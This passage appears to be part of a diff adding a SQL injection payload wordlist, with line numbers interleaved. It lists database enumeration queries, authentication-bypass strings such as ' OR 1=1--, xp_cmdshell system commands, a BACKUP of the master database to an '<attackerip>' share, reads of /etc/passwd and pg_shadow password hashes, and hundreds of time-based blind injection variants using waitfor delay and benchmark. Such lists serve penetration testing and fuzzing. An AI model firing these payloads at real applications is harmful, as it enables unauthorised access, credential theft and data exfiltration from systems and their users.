+ select current server from sysibm.sysdummy1;
320
+ select name from sysibm.systables;
321
+ select grantee from syscat.dbauth;
322
+ select * from syscat.tabauth;
323
+ select * from syscat.dbauth where grantee = current user;
324
+ select * from syscat.tabauth where grantee = current user;
325
+ select name, tbname, coltype from sysibm.syscolumns;
326
+ SELECT schemaname FROM syscat.schemata;
327
+ select @@version
328
+ select @@servernamee
329
+ select @@microsoftversione
330
+ select * from master..sysserverse
331
+ select * from sysusers
332
+ exec master..xp_cmdshell 'ipconfig+/all'
333
+ exec master..xp_cmdshell 'net+view'
334
+ exec master..xp_cmdshell 'net+users'
335
+ exec master..xp_cmdshell 'ping+<attackerip>'
336
+ BACKUP database master to disks='\\<attackerip>\<attackerip>\backupdb.dat'
337
+ create table myfile (line varchar(8000))" bulk insert foo from 'c:\inetpub\wwwroot\auth.aspâ'" select * from myfile"--
338
+ <username>' OR 1=1--
339
+ 'OR '' = ' Allows authentication without a valid username.
340
+ <username>'--
341
+ ' union select 1, '<user-fieldname>', '<pass-fieldname>' 1--
342
+ 'OR 1=1--
343
+ create table myfile (input TEXT); load data infile '<filepath>' into table myfile; select * from myfile;
344
+ select version();
345
+ select current_database();
346
+ select current_user;
347
+ select session_user;
348
+ select current_setting('log_connections');
349
+ select current_setting('log_statement');
350
+ select current_setting('port');
351
+ select current_setting('password_encryption');
352
+ select current_setting('krb_server_keyfile');
353
+ select current_setting('virtual_host');
354
+ select current_setting('config_file');
355
+ select current_setting('hba_file');
356
+ select current_setting('data_directory');
357
+ select * from pg_shadow;
358
+ select * from pg_group;
359
+ create table myfile (input TEXT);
360
+ copy myfile from '/etc/passwd';
361
+ select * from myfile;copy myfile to /tmp/test;
362
+ )%20waitfor%20delay%20'0:0:20'%20/*
363
+ )%20waitfor%20delay%20'0:0:20'%20--
364
+ ')%20waitfor%20delay%20'0:0:20'%20/*
365
+ ')%20waitfor%20delay%20'0:0:20'%20--
366
+ ")%20waitfor%20delay%20'0:0:20'%20/*
367
+ ")%20waitfor%20delay%20'0:0:20'%20--
368
+ ))%20waitfor%20delay%20'0:0:20'%20/*
369
+ ))%20waitfor%20delay%20'0:0:20'%20--
370
+ '))%20waitfor%20delay%20'0:0:20'%20/*
371
+ '))%20waitfor%20delay%20'0:0:20'%20--
372
+ "))%20waitfor%20delay%20'0:0:20'%20/*
373
+ "))%20waitfor%20delay%20'0:0:20'%20--
374
+ ,NULL)%20waitfor%20delay%20'0:0:20'%20/*
375
+ ,NULL)%20waitfor%20delay%20'0:0:20'%20--
376
+ ',NULL)%20waifor%20delay%20'0:0:20'%20/*
377
+ ',NULL)%20waitfor%20delay%20'0:0:20'%20--
378
+ ",NULL)%20waitfor%20delay%20'0:0:20'%20/*
379
+ ",NULL)%20waitfor%20delay%20'0:0:20'%20--
380
+ ),NULL)%20waitfor%20delay%20'0:0:20'%20/*
381
+ ),NULL)%20waitfor%20delay%20'0:0:20'%20--
382
+ '),NULL)%20waifor%20delay%20'0:0:20'%20/*
383
+ '),NULL)%20waitfor%20delay%20'0:0:20'%20--
384
+ "),NULL)%20waitfor%20delay%20'0:0:20'%20/*
385
+ "),NULL)%20waitfor%20delay%20'0:0:20'%20--
386
+ ,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
387
+ ,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
388
+ ',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
389
+ ',NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
390
+ ",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
391
+ ",NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
392
+ ),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
393
+ ),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
394
+ '),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
395
+ '),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
396
+ "),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
397
+ "),NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
398
+ ,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
399
+ ,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
400
+ ',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
401
+ ',NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
402
+ ",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
403
+ ",NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
404
+ ),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
405
+ ),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
406
+ '),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
407
+ '),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
408
+ "),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
409
+ "),NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
410
+ ,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
411
+ ,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
412
+ ',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
413
+ ',NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
414
+ ",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
415
+ ",NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
416
+ ),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
417
+ ),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
418
+ '),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
419
+ '),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
420
+ "),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
421
+ "),NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
422
+ ,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
423
+ ,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
424
+ ',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
425
+ ',NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
426
+ ",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
427
+ ",NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
428
+ ),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
429
+ ),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
430
+ '),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
431
+ '),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
432
+ "),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
433
+ "),NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
434
+ ,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
435
+ ',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
436
+ ',NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
437
+ ",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
438
+ ",NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
439
+ ),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
440
+ ),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
441
+ '),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
442
+ '),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
443
+ "),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
444
+ "),NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
445
+ ,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
446
+ ,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
447
+ ',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
448
+ ',NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
449
+ ",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
450
+ ",NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
451
+ ),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
452
+ ),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
453
+ '),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
454
+ '),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
455
+ "),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
456
+ "),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
457
+ ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
458
+ ,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
459
+ ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
460
+ ',NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
461
+ ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
462
+ ",NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
463
+ ),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
464
+ ),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
465
+ '),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
466
+ '),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
467
+ "),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20/*
468
+ "),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20waitfor%20delay%20'0:0:20'%20--
469
+ waitfor delay '0:0:20' /*
470
+ waitfor delay '0:0:20' --
471
+ ' waitfor delay '0:0:20' /*
472
+ ' waitfor delay '0:0:20' --
473
+ " waitfor delay '0:0:20' /*
474
+ " waitfor delay '0:0:20' --
475
+ ) waitfor delay '0:0:20' /*
476
+ ) waitfor delay '0:0:20' --
477
+ )) waitfor delay '0:0:20' /*
478
+ )) waitfor delay '0:0:20' --
479
+ ))) waitfor delay '0:0:20' /*
480
+ ))) waitfor delay '0:0:20' --
481
+ )))) waitfor delay '0:0:20' /*
482
+ )))) waitfor delay '0:0:20' --
483
+ ))))) waitfor delay '0:0:20' --
484
+ )))))) waitfor delay '0:0:20' --
485
+ ') waitfor delay '0:0:20' /*
486
+ ') waitfor delay '0:0:20' --
487
+ ") waitfor delay '0:0:20' /*
488
+ ") waitfor delay '0:0:20' --
489
+ ')) waitfor delay '0:0:20' /*
490
+ ')) waitfor delay '0:0:20' --
491
+ ")) waitfor delay '0:0:20' /*
492
+ ")) waitfor delay '0:0:20' --
493
+ '))) waitfor delay '0:0:20' /*
494
+ '))) waitfor delay '0:0:20' --
495
+ "))) waitfor delay '0:0:20' /*
496
+ "))) waitfor delay '0:0:20' --
497
+ ')))) waitfor delay '0:0:20' /*
498
+ ')))) waitfor delay '0:0:20' --
499
+ ")))) waitfor delay '0:0:20' /*
500
+ ")))) waitfor delay '0:0:20' --
501
+ '))))) waitfor delay '0:0:20' /*
502
+ '))))) waitfor delay '0:0:20' --
503
+ "))))) waitfor delay '0:0:20' /*
504
+ "))))) waitfor delay '0:0:20' --
505
+ ')))))) waitfor delay '0:0:20' /*
506
+ ')))))) waitfor delay '0:0:20' --
507
+ ")))))) waitfor delay '0:0:20' /*
508
+ ")))))) waitfor delay '0:0:20' --
509
+ +if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
510
+ +if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
511
+ +if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
512
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
513
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
514
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
515
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20/*
516
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20--
517
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL))%20%23
518
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
519
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
520
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
521
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
522
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
523
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
524
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20/*
525
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20--
526
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL)%20%23
527
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
528
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
529
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
530
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
531
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
532
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
533
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20/*
534
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20--
535
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL)%20%23
536
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
537
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
538
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
539
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
540
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
541
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
542
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20/*
543
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20--
544
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL)%20%23
545
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
546
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
547
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
548
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
549
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
550
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
551
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20/*
552
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20--
553
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL)%20%23
554
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
555
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
556
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
557
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
558
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
559
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
560
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20/*
561
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20--
562
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL)%20%23
563
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
564
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
565
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
566
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
567
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
568
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
569
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20/*
570
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20--
571
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL)%20%23
572
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
573
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
574
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
575
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
576
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
577
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
578
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
579
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
580
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
581
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
582
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
583
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
584
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
585
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
586
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
587
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
588
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
589
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
590
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
591
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
592
+ +if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
593
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
594
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
595
+ '+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
596
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20/*
597
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20--
598
+ "+if(benchmark(3000000,MD5(1)),NULL,NULL),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL)%20%23
599
+ ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
600
+ ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
601
+ ,(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
602
+ ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
603
+ ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
604
+ ',(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
605
+ ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
606
+ ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
607
+ ",(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
608
+ ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
609
+ ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
610
+ ),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
611
+ '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
612
+ '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
613
+ '),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
614
+ "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))/*
615
+ "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))--
616
+ "),(select%20if(count(*)!=-1,benchmark(3000000,MD5(1)),benchmark(3000000,MD5(1))))%23
617
+ and 0=benchmark(3000000,MD5(1))%20/*
618
+ and 0=benchmark(3000000,MD5(1))%20--
619
+ and 0=benchmark(3000000,MD5(1))%20%23
620
+ ' and 0=benchmark(3000000,MD5(1))%20/*
621
+ ' and 0=benchmark(3000000,MD5(1))%20--
622
+ ' and 0=benchmark(3000000,MD5(1))%20%23
623
+ " and 0=benchmark(3000000,MD5(1))%20/*
624
+ " and 0=benchmark(3000000,MD5(1))%20--
625
+ " and 0=benchmark(3000000,MD5(1))%20%23
626
+ ) and 0=benchmark(3000000,MD5(1))%20/*
627
+ ) and 0=benchmark(3000000,MD5(1))%20--
628
+ ) and 0=benchmark(3000000,MD5(1))%20%23
629
+ )) and 0=benchmark(3000000,MD5(1))%20/*
630
+ )) and 0=benchmark(3000000,MD5(1))%20--
631
+ )) and 0=benchmark(3000000,MD5(1))%20%23
632
+ ))) and 0=benchmark(3000000,MD5(1))%20/*
633
+ ))) and 0=benchmark(3000000,MD5(1))%20--
634
+ ))) and 0=benchmark(3000000,MD5(1))%20%23
635
+ )))) and 0=benchmark(3000000,MD5(1))%20/*
636
+ )))) and 0=benchmark(3000000,MD5(1))%20--
637
+ )))) and 0=benchmark(3000000,MD5(1))%20%23
638
+ ') and 0=benchmark(3000000,MD5(1))%20/*
639
+ ') and 0=benchmark(3000000,MD5(1))%20--
640
+ ') and 0=benchmark(3000000,MD5(1))%20%23
641
+ ") and 0=benchmark(3000000,MD5(1))%20/*
642
+ ") and 0=benchmark(3000000,MD5(1))%20--
643
+ ") and 0=benchmark(3000000,MD5(1))%20%23
644
+ ')) and 0=benchmark(3000000,MD5(1))%20/*
645
+ ')) and 0=benchmark(3000000,MD5(1))%20--
646
+ ')) and 0=benchmark(3000000,MD5(1))%20%23
647
+ ")) and 0=benchmark(3000000,MD5(1))%20/*
648
+ ")) and 0=benchmark(3000000,MD5(1))%20--
649
+ ")) and 0=benchmark(3000000,MD5(1))%20%23
650
+ '))) and 0=benchmark(3000000,MD5(1))%20/*
651
+ '))) and 0=benchmark(3000000,MD5(1))%20--
652
+ '))) and 0=benchmark(3000000,MD5(1))%20%23
653
+ "))) and 0=benchmark(3000000,MD5(1))%20/*
654
+ "))) and 0=benchmark(3000000,MD5(1))%20--
655
+ "))) and 0=benchmark(3000000,MD5(1))%20%23
656
+ ')))) and 0=benchmark(3000000,MD5(1))%20/*
657
+ ')))) and 0=benchmark(3000000,MD5(1))%20--
658
+ ')))) and 0=benchmark(3000000,MD5(1))%20%23
659
+ ")))) and 0=benchmark(3000000,MD5(1))%20/*
660
+ ")))) and 0=benchmark(3000000,MD5(1))%20--
661
+ ")))) and 0=benchmark(3000000,MD5(1))%20%23